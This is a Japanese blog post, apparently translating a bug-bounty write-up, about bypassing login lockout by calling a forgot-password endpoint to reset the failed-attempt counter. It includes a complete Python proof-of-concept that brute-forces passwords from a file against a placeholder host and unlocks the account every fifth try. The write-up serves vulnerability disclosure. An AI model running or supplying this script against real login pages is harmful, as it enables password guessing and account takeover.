Shikata Ga Nai

Private? There is no such things.

Bypassing account lockout through password reset functionalityを訳してみた

Hello there, ('ω')ノ

 

パスワード リセット機能によるアカウント ロックアウトのバイパスを。

 

脆弱性:

 レート制限バイパス

 

記事:

 https://akashc99.medium.com/bypassing-account-lockout-through-password-reset-functionality-8ff5c256f380

 

今回は、Web アプリケーションのログイン ページに脆弱性があることを発見して。

具体的には、ログインに 5 回失敗すると、アカウントがロックされることがわかり。

しかし、ロックされたアカウントに関連付けられた電子メール アドレスを。

使用してパスワードを忘れたページに投稿リクエストを送信すると。

追加の確認なしでアカウントのロックを解除できることがわかり。

 

この脆弱性により、攻撃者はアカウントがロックされるまで自動化された方法で。

異なるパスワードを繰り返し試行し、その後、パスワードを忘れた機能を。

使用してアカウントのロックを解除し、パスワード推測攻撃を続行する可能性があり。

 

この脆弱性の影響を実証するために、Python リクエスト ライブラリを使用して。

概念実証スクリプトを作成して。

このスクリプトは、テキスト ファイル password.txt からパスワードのリストを。

読み取り、ログイン試行が 5 回失敗するたびにパスワードを忘れた場合の。

リクエストを含め、ターゲット アプリケーションにログイン リクエストを。

繰り返し送信して。

参照用にコードを以下に。

 

import requests
import json

# read the password from the password.txt file
with open("password.txt", "r") as f:
    passwords = f.read().splitlines()

# set the login endpoint
login_url = "https://test.com/api/v2/accounts/Login"

# set the headers for the JSON POST request
headers = {'Content-Type': 'application/json'}

# set the login parameters
login_params = {'username': 'test@test.com'}

# send the login requests
for i, password in enumerate(passwords):
    login_params['password'] = password
    response = requests.post(login_url, headers=headers, json=login_params)

    if i % 5 == 4:
        # send request to the forgot password endpoint
        forgot_url = "https://test.com/api/accounts/forgotPassword"
        forgot_params = {'email': 'test@test.com'}
        requests.post(forgot_url, headers=headers, json=forgot_params)

    if response.status_code == 200:
        print("Login success! Password: " + password.strip())
        break

 

出力

 

Best regards, (^^ゞ